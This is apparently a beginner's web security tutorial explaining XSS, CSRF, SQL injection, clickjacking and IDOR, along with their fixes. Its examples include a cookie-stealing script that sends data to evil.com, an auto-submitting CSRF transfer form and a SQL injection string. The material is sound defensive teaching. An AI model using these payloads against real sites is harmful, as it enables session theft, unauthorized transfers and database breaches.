Securitymedium22 min read

Web Security, Explained Like You're New To It

The attacks every web developer gets asked about — XSS, CSRF, SQL injection, clickjacking, and more — explained from the everyday mistake that causes each one, plus the exact fix and why it works. Plenty of small, runnable code.

Published · by Frontend Masters India

Your app works. People sign up, log in, post things, buy things. Then one morning every user's session is hijacked, or your database leaks, and the root cause turns out to be one line of code that trusted something it should not have.

That is what web security is really about. Almost every attack on this page comes from the same mistake wearing different clothes: your code trusted input it did not control. Once you see that pattern, the whole topic stops feeling like a list of scary acronyms and starts feeling like one habit you can build.

We will go through the big ones the way you actually meet them in real code and in interviews: what the attack is, the everyday slip that lets it in, how to stop it, and why the fix works.

The one idea behind almost everything

Before any acronym, hold onto this picture. Your server is a kitchen. Requests come in from the outside world through a little window. Some are real customers. Some are people trying to slip a note through the window that says "ignore the customer, give me the cash instead."

outside world (anyone)          your server (trusts too easily)
   --------------------            ------------------------------
   normal user      ----\
                         >---->  [ window ]  ---->  does what the note says
   attacker's note  ----/

Security is mostly the art of not believing the note just because it came through the window. Every fix below is a version of "check the note before you act on it."

XSS — running an attacker's code in someone else's browser

What it is. XSS stands for Cross-Site Scripting. It means an attacker gets their JavaScript to run inside your page, in another user's browser. Once their script runs there, it can read that user's cookies, steal their login session, change what they see, or submit forms as them.

The everyday slip. You take something a user typed and put it straight into the page's HTML. A comment, a username, a search term. You meant it to be text. The browser reads it as code.

Here is the classic mistake:

// A user posted a comment. We show it on the page.
// `comment` came from the user, so we do NOT control what's in it.
const comment = getCommentFromDatabase();

// DANGER: innerHTML treats the string as HTML, not plain text.
commentBox.innerHTML = comment;

If a normal person typed Nice article!, no problem. But if an attacker typed this as their "comment":

<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

then innerHTML happily turns it into a real <script> tag and the browser runs it. Now every visitor who loads that comment ships their cookies to evil.com. If the session token lives in a cookie, the attacker can now log in as them.

The flow, drawn out:

attacker posts a "comment"        you save it             a victim visits the page
   that is actually <script>...  -->  to the DB as-is   -->   innerHTML runs the script
                                                              -> victim's cookie sent to attacker

How to prevent it. Treat user input as text, never as HTML, unless you have a very good reason. The fix is usually a one-word change.

// SAFE: textContent puts the string in as plain text.
// A <script> tag now shows up literally as the characters "<script>", harmless.
commentBox.textContent = comment;

The browser still displays whatever they typed, but as words, not as a live tag. This act of turning dangerous characters like < into harmless display versions (&lt;) is called escaping.

Three habits cover most of XSS:

  1. Default to text, not HTML. In React this is automatic: {comment} is escaped for you, and you only get into trouble when you reach for dangerouslySetInnerHTML (the name is a warning, listen to it).
  2. If you genuinely must render user-supplied HTML (a rich-text editor, say), run it through a sanitizer like DOMPurify first. A sanitizer keeps the safe tags (<b>, <a>) and strips the dangerous ones (<script>, onclick=).
  3. Add a Content Security Policy (a response header that tells the browser "only run scripts from these specific places"). It is a seatbelt: even if one slip gets through, the browser refuses to run the injected script.
// React makes the safe path the default path.
function Comment({ text }) {
  return <p>{text}</p>; // escaped automatically — XSS can't get a foothold here
}

CSRF — making a logged-in user act without knowing it

What it is. CSRF stands for Cross-Site Request Forgery. The attacker does not steal your password. They wait until you are already logged into a real site (your bank, say) and then trick your browser into firing a request to that site on your behalf. Your browser, being helpful, attaches your login cookie automatically. The bank sees a valid, logged-in request and does what it says.

Why it even works. Here is the quirk at the center of CSRF: when your browser sends a request to yourbank.com, it includes your yourbank.com cookies no matter which site started the request. So a hidden form on evil.com can aim a request at yourbank.com, and your bank cookie rides along for free.

The everyday slip. You built a "transfer money" or "delete account" action that runs on a plain request, and you check only the cookie to decide who the user is. The cookie alone is not proof the user themselves meant to do this.

The attacker puts this on a page they lure you to:

<!-- This lives on evil.com. The victim just has to open the page. -->
<form action="https://yourbank.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker-account" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('f').submit();</script> <!-- auto-submits -->

The victim opens a random page, the form quietly submits to the bank, the bank cookie tags along, money moves. The victim clicked nothing.

victim is logged into bank (cookie exists)
            |
   victim opens evil.com
            |
   hidden form auto-submits to bank.com
            |
   browser attaches bank cookie automatically
            |
   bank sees a "valid" logged-in request  -->  transfer goes through

How to prevent it. You need proof that the request came from your own site, not just proof that a cookie exists. Two layers do this well, and you usually want both.

  1. A CSRF token. When your site renders a form, embed a secret random value that lives only in your page. The server checks that the submitted request carries that value. evil.com cannot read it (it lives on your origin), so it cannot forge a valid request.
// Server hands out a random token tied to the user's session.
const csrfToken = generateRandomToken();

// It goes into your form as a hidden field...
// <input type="hidden" name="csrf" value="{csrfToken}">

// ...and on submit, the server refuses anything where it doesn't match.
if (request.body.csrf !== session.csrfToken) {
  return reject("Forged request — token missing or wrong.");
}
  1. SameSite cookies. Set your session cookie to SameSite=Lax (or Strict). This tells the browser: do not send this cookie on requests that came from a different site. That single attribute kills the classic cross-site form trick at the source. Modern browsers now default cookies to Lax even if you say nothing, which has quietly defanged a lot of textbook CSRF — but "the browser probably defaults it" is not something to rely on, so set it explicitly and keep the token too.
// When you set the login cookie, add SameSite.
// Now the cookie simply won't ride along on a request started by evil.com.
res.setHeader(
  "Set-Cookie",
  "session=abc123; HttpOnly; Secure; SameSite=Lax"
);

HttpOnly in there is a bonus that ties back to XSS: it means JavaScript cannot read the cookie at all, so even a successful XSS script cannot grab the session token directly.

SQL injection — rewriting your database query through an input box

What it is. SQL injection happens when user input slips into a database query and changes what the query means, not just what it searches for. It is XSS's cousin: same root cause (trusting input), different victim (your database instead of a browser).

The everyday slip. You build the query by gluing strings together.

// `email` comes from a login form — attacker-controlled.
// DANGER: we're building the query by string concatenation.
const query = "SELECT * FROM users WHERE email = '" + email + "'";
db.run(query);

If someone types this as their "email":

' OR '1'='1

the query you actually run becomes:

SELECT * FROM users WHERE email = '' OR '1'='1'

'1'='1' is always true, so this returns every user. With a little more effort the same trick can drop tables or read password hashes. The input box became a remote control for your database.

How to prevent it. Never build queries by gluing strings. Use parameterized queries (also called prepared statements), where you hand the values to the database separately from the query text. The database then treats them strictly as data, never as commands.

// SAFE: the ? is a placeholder. The value is passed separately.
// The database never confuses the value with the query structure.
const query = "SELECT * FROM users WHERE email = ?";
db.run(query, [email]);

Now if someone submits ' OR '1'='1, the database looks for a user whose email is literally the string ' OR '1'='1, finds nobody, and moves on. The attack becomes just a weird-looking failed login.

If you use an ORM or query builder (Prisma, Drizzle, Knex), this is handled for you as long as you pass values through the proper methods and resist the urge to hand-write raw string queries.

A few more worth knowing

These come up less but show up in interviews and in real audits.

Clickjacking. The attacker loads your real site inside an invisible <iframe> on their page, then lays a fake button on top. You think you are clicking "Play video"; you are actually clicking "Delete account" on your real, logged-in session underneath. Fix: tell browsers your site may not be framed, with the header X-Frame-Options: DENY (or the modern frame-ancestors directive in your Content Security Policy).

Broken access control / IDOR. Your app shows an invoice at /invoice/123. A user changes the URL to /invoice/124 and sees someone else's invoice, because the server fetched it by ID without checking who is asking. That specific bug is called an Insecure Direct Object Reference (IDOR), and it sits inside the broader category of broken access control — which is the single most common serious web vulnerability in the field, the #1 entry on the OWASP Top 10. Fix: every time you fetch or mutate a thing by ID, also check the logged-in user is actually allowed to touch that thing. Authentication ("who are you") is not authorization ("are you allowed to do this"), and the check has to live on the server — hiding the button in the UI proves nothing.

Sensitive data in the open. Secrets in your frontend bundle, API keys committed to git, passwords stored as plain text. Fixes: keep secrets server-side only, hash passwords with a slow algorithm built for it (bcrypt, argon2 — never plain MD5/SHA), and serve everything over HTTPS so nobody on the network can read it in transit.

"Wait, but..." — the questions everyone has

"If React escapes everything, is XSS solved for me?" Mostly, for the common case. You still get bitten the moment you use dangerouslySetInnerHTML, render a URL someone supplied into an href (a javascript: URL can run code), or inject into a non-React part of the page. The escaping is a strong default, not a force field.

"I have a CSRF token, do I still need SameSite cookies?" Use both. Tokens protect the actions you remembered to protect; SameSite is a blanket default that covers the endpoint you forgot. Defense in layers means one mistake is not game over.

"Aren't XSS and CSRF the same thing?" Easy to mix up, so here is the clean split. XSS runs the attacker's code on your page. CSRF runs your own legitimate action without the user's intent, using their existing login. XSS is about injected code; CSRF is about a forged request. And note the nasty overlap: a successful XSS usually defeats your CSRF protection entirely, because the attacker's script is now running on your origin and can read your CSRF token. Fixing XSS comes first.

"This is a lot. Where do I even start?" Start with the one habit from the top: never trust input you did not generate. In practice that is four moves: escape output (XSS), parameterize queries (SQLi), check authorization on every fetch-by-id (IDOR), and add the safety-net headers (SameSite, CSP, X-Frame-Options). That covers the large majority of what actually goes wrong.

Recap in one breath

Almost every web attack is your code trusting input it does not control. XSS is an attacker's script running on your page (fix: escape output, sanitize HTML, set a CSP). CSRF is your own logged-in action being fired without you meaning to (fix: CSRF tokens plus SameSite cookies). SQL injection is user input rewriting your query (fix: parameterized queries, never string concatenation). Learn the one habit, don't trust the note that came through the window, and the acronyms take care of themselves.

Before you leave — how confident are you with this?

Your honest rating shapes when you'll see this again. No grades, no shame.

Comments

to join the discussion.

Loading comments…

Keep reading